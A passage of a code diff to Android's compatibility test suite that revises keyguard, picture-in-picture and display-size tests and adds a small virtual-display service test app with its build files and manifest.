if (!supportsSplitScreenMultiWindow()) {
CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
index 950dec9..5f63580 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
@@ -19,7 +19,6 @@
import static android.server.cts.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
import static android.server.cts.ActivityManagerState.STATE_STOPPED;
-import android.server.cts.ActivityManagerState.Activity;
import android.server.cts.ActivityManagerState.ActivityStack;
import android.server.cts.ActivityManagerState.ActivityTask;
@@ -83,7 +82,7 @@
private static final String TEST_ACTIVITY_ACTION_FINISH =
"android.server.cts.TestActivity.finish_self";
- private static final int APP_OPS_OP_ENTER_PICTURE_IN_PICTURE_ON_HIDE = 67;
+ private static final String APP_OPS_OP_ENTER_PICTURE_IN_PICTURE = "PICTURE_IN_PICTURE";
private static final int APP_OPS_MODE_ALLOWED = 0;
private static final int APP_OPS_MODE_IGNORED = 1;
private static final int APP_OPS_MODE_ERRORED = 2;
@@ -684,7 +683,7 @@
// Disable enter-pip and try to enter pip
setAppOpsOpToMode(ActivityManagerTestBase.componentName,
- APP_OPS_OP_ENTER_PICTURE_IN_PICTURE_ON_HIDE, APP_OPS_MODE_IGNORED);
+ APP_OPS_OP_ENTER_PICTURE_IN_PICTURE, APP_OPS_MODE_IGNORED);
// Launch the PIP activity on pause
launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
@@ -696,7 +695,7 @@
// Re-enable enter-pip-on-hide
setAppOpsOpToMode(ActivityManagerTestBase.componentName,
- APP_OPS_OP_ENTER_PICTURE_IN_PICTURE_ON_HIDE, APP_OPS_MODE_ALLOWED);
+ APP_OPS_OP_ENTER_PICTURE_IN_PICTURE, APP_OPS_MODE_ALLOWED);
}
public void testEnterPipFromTaskWithMultipleActivities() throws Exception {
@@ -779,6 +778,38 @@
assertValidPictureInPictureCallbackOrder(PIP_ACTIVITY, logSeparator);
}
+ public void testEnterPipInterruptedCallbacks() throws Exception {
+ if (!supportsPip()) return;
+
+ // Slow down the transition animations for this test
+ setWindowTransitionAnimationDurationScale(20);
+
+ // Launch a PiP activity
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+ // Wait until the PiP activity has moved into the pinned stack (happens before the
+ // transition has started)
+ mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+ assertPinnedStackExists();
+
+ // Relaunch the PiP activity back into fullscreen
+ String logSeparator = clearLogcat();
+ launchActivity(PIP_ACTIVITY);
+ // Wait until the PiP activity is reparented into the fullscreen stack (happens after the
+ // transition has finished)
+ mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
+
+ // Ensure that we get the callbacks indicating that PiP/MW mode was cancelled, but no
+ // configuration change (since none was sent)
+ final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(
+ PIP_ACTIVITY, logSeparator);
+ assertTrue(lifecycleCounts.mConfigurationChangedCount == 0);
+ assertTrue(lifecycleCounts.mPictureInPictureModeChangedCount == 1);
+ assertTrue(lifecycleCounts.mMultiWindowModeChangedCount == 1);
+
+ // Reset the animation scale
+ setWindowTransitionAnimationDurationScale(1);
+ }
+
public void testStopBeforeMultiWindowCallbacksOnDismiss() throws Exception {
if (!supportsPip()) return;
@@ -1248,8 +1279,8 @@
/**
* Sets an app-ops op for a given package to a given mode.
*/
- private void setAppOpsOpToMode(String packageName, int op, int mode) throws Exception {
- executeShellCommand(String.format("appops set %s %d %d", packageName, op, mode));
+ private void setAppOpsOpToMode(String packageName, String op, int mode) throws Exception {
+ executeShellCommand(String.format("appops set %s %s %d", packageName, op, mode));
}
/**
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java
index 4ff515e..63aa1ab 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java
@@ -226,11 +226,6 @@
boolean testOpen, boolean testNewTask,
boolean bottomWallpaper, boolean topWallpaper, boolean topTranslucent,
boolean testSlowStop, String expectedTransit) throws Exception {
- // There is no wallpaper in VR mode.
- if (isUiModeLockedToVrHeadset() && (bottomWallpaper || topWallpaper)) {
- return;
- }
-
String bottomStartCmd = getAmStartCmd(BOTTOM_ACTIVITY_NAME);
if (bottomWallpaper) {
bottomStartCmd += " --ez USE_WALLPAPER true";
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/DisplaySizeTest.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/DisplaySizeTest.java
index c739688..0ebbfe2 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/DisplaySizeTest.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/DisplaySizeTest.java
@@ -31,7 +31,7 @@
private static final String DENSITY_PROP_DEVICE = "ro.sf.lcd_density";
private static final String DENSITY_PROP_EMULATOR = "qemu.sf.lcd_density";
- private static final String AM_START_COMMAND = "am start -n %s/%s.%s --display 0";
+ private static final String AM_START_COMMAND = "am start -n %s/%s.%s";
private static final String AM_FORCE_STOP = "am force-stop %s";
private static final int ACTIVITY_TIMEOUT_MILLIS = 1000;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardLockedTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardLockedTests.java
index a3ed518..b3d7add 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardLockedTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardLockedTests.java
@@ -37,16 +37,11 @@
@Override
protected void tearDown() throws Exception {
super.tearDown();
- removeLockCredential();
- // Dismiss active keyguard after credential is cleared, so
- // keyguard doesn't ask for the stale credential.
- pressBackButton();
- sleepDevice();
- wakeUpAndUnlockDevice();
+ tearDownLockCredentials();
}
public void testLockAndUnlock() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld()) {
return;
}
gotoKeyguard();
@@ -58,7 +53,7 @@
}
public void testDismissKeyguard() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld()) {
return;
}
gotoKeyguard();
@@ -72,7 +67,7 @@
}
public void testDismissKeyguard_whileOccluded() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld()) {
return;
}
gotoKeyguard();
@@ -90,7 +85,7 @@
}
public void testDismissKeyguard_fromShowWhenLocked_notAllowed() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld()) {
return;
}
gotoKeyguard();
@@ -108,7 +103,7 @@
}
public void testDismissKeyguardActivity_method() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld()) {
return;
}
final String logSeparator = clearLogcat();
@@ -125,7 +120,7 @@
}
public void testDismissKeyguardActivity_method_cancelled() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld()) {
return;
}
final String logSeparator = clearLogcat();
@@ -142,7 +137,7 @@
}
public void testEnterPipOverKeyguard() throws Exception {
- if (!supportsKeyguard() || !supportsPip()) {
+ if (!isHandheld() || !supportsPip()) {
return;
}
@@ -167,7 +162,7 @@
}
public void testShowWhenLockedActivityAndPipActivity() throws Exception {
- if (!supportsKeyguard() || !supportsPip()) {
+ if (!isHandheld() || !supportsPip()) {
return;
}
@@ -182,6 +177,7 @@
mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
gotoKeyguard();
+ mAmWmState.computeState(mDevice, null);
mAmWmState.waitForKeyguardShowingAndOccluded(mDevice);
assertShowingAndOccluded();
mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
@@ -189,7 +185,7 @@
}
public void testShowWhenLockedPipActivity() throws Exception {
- if (!supportsKeyguard() || !supportsPip()) {
+ if (!isHandheld() || !supportsPip()) {
return;
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTests.java
index b3448fb..8c6f037 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTests.java
@@ -17,7 +17,6 @@
package android.server.cts;
import android.server.cts.WindowManagerState.WindowState;
-import android.server.cts.ActivityManagerState.ActivityStack;
/**
* Build: mmma -j32 cts/hostsidetests/services
@@ -30,19 +29,18 @@
super.setUp();
// Set screen lock (swipe)
- mDevice.executeShellCommand("locksettings set-disabled false");
+ setLockDisabled(false);
}
@Override
public void tearDown() throws Exception {
super.tearDown();
- // Remove screen lock
- mDevice.executeShellCommand("locksettings set-disabled true");
+ tearDownLockCredentials();
}
public void testKeyguardHidesActivity() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
launchActivity("TestActivity");
@@ -56,7 +54,7 @@
}
public void testShowWhenLockedActivity() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
launchActivity("ShowWhenLockedActivity");
@@ -75,7 +73,7 @@
* showing.
*/
public void testShowWhenLockedActivity_withDialog() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
launchActivity("ShowWhenLockedWithDialogActivity");
@@ -95,7 +93,7 @@
* Tests whether multiple SHOW_WHEN_LOCKED activities are shown if the topmost is translucent.
*/
public void testMultipleShowWhenLockedActivities() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
launchActivity("ShowWhenLockedActivity");
@@ -117,7 +115,7 @@
* If we have a translucent SHOW_WHEN_LOCKED_ACTIVITY, the wallpaper should also be showing.
*/
public void testTranslucentShowWhenLockedActivity() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
launchActivity("ShowWhenLockedTranslucentActivity");
@@ -136,7 +134,7 @@
* If we have a translucent SHOW_WHEN_LOCKED activity, the activity behind should not be shown.
*/
public void testTranslucentDoesntRevealBehind() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
launchActivity("TestActivity");
@@ -155,7 +153,7 @@
}
public void testDialogShowWhenLockedActivity() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
launchActivity("ShowWhenLockedDialogActivity");
@@ -174,7 +172,7 @@
* Test that showWhenLocked activity is fullscreen when shown over keyguard
*/
public void testShowWhenLockedActivityWhileSplit() throws Exception {
- if (!supportsKeyguard() || !supportsSplitScreenMultiWindow()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset() || !supportsSplitScreenMultiWindow()) {
return;
}
launchActivityInDockStack(LAUNCHING_ACTIVITY);
@@ -194,7 +192,7 @@
* Tests whether a FLAG_DISMISS_KEYGUARD activity occludes Keyguard.
*/
public void testDismissKeyguardActivity() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
gotoKeyguard();
@@ -208,7 +206,7 @@
}
public void testDismissKeyguardActivity_method() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
final String logSeparator = clearLogcat();
@@ -224,7 +222,7 @@
}
public void testDismissKeyguardActivity_method_notTop() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
final String logSeparator = clearLogcat();
@@ -238,7 +236,7 @@
}
public void testDismissKeyguardActivity_method_turnScreenOn() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
final String logSeparator = clearLogcat();
@@ -254,7 +252,7 @@
}
public void testDismissKeyguard_fromShowWhenLocked_notAllowed() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
gotoKeyguard();
@@ -270,7 +268,7 @@
}
public void testKeyguardLock() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
gotoKeyguard();
@@ -285,7 +283,7 @@
}
public void testUnoccludeRotationChange() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
gotoKeyguard();
@@ -310,4 +308,71 @@
assertNotNull(wallpaper);
assertTrue(wallpaper.isShown());
}
+
+ public void testDismissKeyguardAttrActivity_method_turnScreenOn() throws Exception {
+ if (!isHandheld()) {
+ return;
+ }
+
+ final String activityName = "TurnScreenOnAttrDismissKeyguardActivity";
+ sleepDevice();
+
+ final String logSeparator = clearLogcat();
+ mAmWmState.computeState(mDevice, null);
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ launchActivity(activityName);
+ mAmWmState.waitForKeyguardGone(mDevice);
+ mAmWmState.assertVisibility(activityName, true);
+ assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ assertOnDismissSucceededInLogcat(logSeparator);
+ assertTrue(isDisplayOn());
+ }
+
+ public void testDismissKeyguardAttrActivity_method_turnScreenOn_withSecureKeyguard() throws Exception {
+ if (!isHandheld()) {
+ return;
+ }
+
+ final String activityName = "TurnScreenOnAttrDismissKeyguardActivity";
+
+ setLockCredential();
+ sleepDevice();
+
+ mAmWmState.computeState(mDevice, null);
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ launchActivity(activityName);
+ mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
+ mAmWmState.assertVisibility(activityName, false);
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ assertTrue(isDisplayOn());
+ }
+
+ public void testScreenOffWhileOccludedStopsActivity() throws Exception {
+ if (!isHandheld()) {
+ return;
+ }
+
+ final String logSeparator = clearLogcat();
+ gotoKeyguard();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
+ assertShowingAndNotOccluded();
+ launchActivity("ShowWhenLockedAttrActivity");
+ mAmWmState.computeState(mDevice, new String[] { "ShowWhenLockedAttrActivity" });
+ mAmWmState.assertVisibility("ShowWhenLockedAttrActivity", true);
+ assertShowingAndOccluded();
+ sleepDevice();
+ assertSingleLaunchAndStop("ShowWhenLockedAttrActivity", logSeparator);
+ }
+
+ public void testScreenOffCausesSingleStop() throws Exception {
+ if (!isHandheld()) {
+ return;
+ }
+
+ final String logSeparator = clearLogcat();
+ launchActivity("TestActivity");
+ mAmWmState.assertVisibility("TestActivity", true);
+ sleepDevice();
+ assertSingleLaunchAndStop("TestActivity", logSeparator);
+ }
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTransitionTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTransitionTests.java
index 7b63727..5971ccb 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTransitionTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTransitionTests.java
@@ -33,19 +33,11 @@
super.setUp();
// Set screen lock (swipe)
- mDevice.executeShellCommand("locksettings set-disabled false");
- }
-
- @Override
- public void tearDown() throws Exception {
- super.tearDown();
-
- // Remove screen lock
- mDevice.executeShellCommand("locksettings set-disabled true");
+ setLockDisabled(false);
}
public void testUnlock() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
launchActivity("TestActivity");
@@ -57,7 +49,7 @@
}
public void testUnlockWallpaper() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
launchActivity("WallpaperActivity");
@@ -69,7 +61,7 @@
}
public void testOcclude() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
gotoKeyguard();
@@ -80,7 +72,7 @@
}
public void testUnocclude() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
gotoKeyguard();
@@ -93,7 +85,7 @@
}
public void testNewActivityDuringOccluded() throws Exception {
- if (!supportsKeyguard()) {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
return;
}
launchActivity("ShowWhenLockedActivity");
@@ -103,4 +95,59 @@
assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN,
mAmWmState.getWmState().getLastTransition());
}
+
+ public void testOccludeManifestAttr() throws Exception {
+ if (!isHandheld()) {
+ return;
+ }
+
+ String activityName = "ShowWhenLockedAttrActivity";
+
+ gotoKeyguard();
+ final String logSeparator = clearLogcat();
+ launchActivity(activityName);
+ mAmWmState.computeState(mDevice, new String[] {activityName});
+ assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
+ mAmWmState.getWmState().getLastTransition());
+ assertSingleLaunch(activityName, logSeparator);
+ }
+
+ public void testOccludeAttrRemove() throws Exception {
+ if (!isHandheld()) {
+ return;
+ }
+
+ String activityName = "ShowWhenLockedAttrRemoveAttrActivity";
+
+ gotoKeyguard();
+ String logSeparator = clearLogcat();
+ launchActivity(activityName);
+ mAmWmState.computeState(mDevice, new String[] {activityName});
+ assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
+ mAmWmState.getWmState().getLastTransition());
+ assertSingleLaunch(activityName, logSeparator);
+
+ gotoKeyguard();
+ logSeparator = clearLogcat();
+ launchActivity(activityName);
+ mAmWmState.computeState(mDevice, new String[] {activityName});
+ assertSingleStartAndStop(activityName, logSeparator);
+ }
+
+ public void testNewActivityDuringOccludedWithAttr() throws Exception {
+ if (!isHandheld()) {
+ return;
+ }
+
+ String activityName1 = "ShowWhenLockedAttrActivity";
+ String activityName2 = "ShowWhenLockedAttrWithDialogActivity";
+
+ launchActivity(activityName1);
+ gotoKeyguard();
+ launchActivity(activityName2);
+ mAmWmState.computeState(mDevice, new String[] { activityName2 });
+ assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN,
+ mAmWmState.getWmState().getLastTransition());
+ }
+
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java
index 4783999..ed7f383 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/SplashscreenTests.java
@@ -27,9 +27,8 @@
public class SplashscreenTests extends ActivityManagerTestBase {
public void testSplashscreenContent() throws Exception {
- launchActivityOnDisplayNoWait("SplashscreenActivity",
- ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID);
- mAmWmState.waitForDisplayUnfrozen(mDevice);
+ launchActivityNoWait("SplashscreenActivity");
+ mAmWmState.waitForAppTransitionIdle(mDevice);
mAmWmState.getWmState().getStableBounds();
final BufferedImage image = takeScreenshot();
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/Android.mk
index e20bbb5..3b075e1 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/Android.mk
@@ -25,7 +25,7 @@
LOCAL_SDK_VERSION := test_current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDeviceTranslucentTestApp
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/Android.mk b/hostsidetests/services/activityandwindowmanager/displayserviceapp/Android.mk
new file mode 100644
index 0000000..b798d87
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/displayserviceapp/Android.mk
@@ -0,0 +1,15 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+include $(call all-subdir-makefiles)
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/Android.mk b/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/Android.mk
new file mode 100644
index 0000000..c9cb7ef
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+
+LOCAL_SDK_VERSION := test_current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsDisplayServiceApp
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/AndroidManifest.xml
new file mode 100644
index 0000000..d3ae55e
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
+ package="android.server.displayservice">
+ <uses-permission android:name="android.permission.WAKE_LOCK" />
+ <application android:label="CtsDisplayService">
+ <service android:name=".VirtualDisplayService"
+ android:exported="true" />
+ </application>
+</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/src/android/server/displayservice/VirtualDisplayService.java b/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/src/android/server/displayservice/VirtualDisplayService.java
new file mode 100644
index 0000000..eb58963
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/src/android/server/displayservice/VirtualDisplayService.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.displayservice;
+
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PRESENTATION;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Intent;
+import android.graphics.PixelFormat;
+import android.hardware.display.DisplayManager;
+import android.hardware.display.VirtualDisplay;
+import android.media.ImageReader;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.util.Log;
+import android.view.Surface;
+
+public class VirtualDisplayService extends Service {
+ private static final String NOTIFICATION_CHANNEL_ID = "cts/VirtualDisplayService";
+ private static final String TAG = "VirtualDisplayService";
+
+ private static final int FOREGROUND_ID = 1;
+
+ private static final int DENSITY = 160;
+ private static final int HEIGHT = 480;
+ private static final int WIDTH = 800;
+
+ private ImageReader mReader;
+ private VirtualDisplay mVirtualDisplay;
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+
+ NotificationManager notificationManager = getSystemService(NotificationManager.class);
+ notificationManager.createNotificationChannel(new NotificationChannel(
+ NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID,
+ NotificationManager.IMPORTANCE_DEFAULT));
+ Notification notif = new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(android.R.drawable.ic_dialog_alert)
+ .build();
+ startForeground(FOREGROUND_ID, notif);
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ String command = intent.getStringExtra("command");
+ Log.d(TAG, "Got command: " + command);
+
+ if ("create".equals(command)) {
+ createVirtualDisplay(intent);
+ } if ("off".equals(command)) {
+ mVirtualDisplay.setSurface(null);
+ } else if ("on".equals(command)) {
+ mVirtualDisplay.setSurface(mReader.getSurface());
+ } else if ("destroy".equals(command)) {
+ destroyVirtualDisplay();
+ stopSelf();
+ }
+
+ return START_NOT_STICKY;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ private void createVirtualDisplay(Intent intent) {
+ mReader = ImageReader.newInstance(WIDTH, HEIGHT, PixelFormat.RGBA_8888, 2);
+
+ final DisplayManager displayManager = getSystemService(DisplayManager.class);
+ final String name = "CtsVirtualDisplay";
+
+ int flags = VIRTUAL_DISPLAY_FLAG_PRESENTATION | VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
+ if (intent.getBooleanExtra("show_content_when_locked", false /* defaultValue */)) {
+ flags |= 1 << 5; // VIRTUAL_DISPLAY_FLAG_CAN_SHOW_WITH_INSECURE_KEYGUARD
+ }
+ mVirtualDisplay = displayManager.createVirtualDisplay(
+ name, WIDTH, HEIGHT, DENSITY, mReader.getSurface(), flags);
+ }
+
+ private void destroyVirtualDisplay() {
+ mVirtualDisplay.release();
+ mReader.close();
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/Android.mk b/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/Android.mk
new file mode 100644
index 0000000..0df59e7
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
+
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
+
+LOCAL_MODULE := cts-display-service-app-util
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/src/android/server/displayservice/DisplayHelper.java b/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/src/android/server/displayservice/DisplayHelper.java
new file mode 100644
index 0000000..89683a0
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/src/android/server/displayservice/DisplayHelper.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
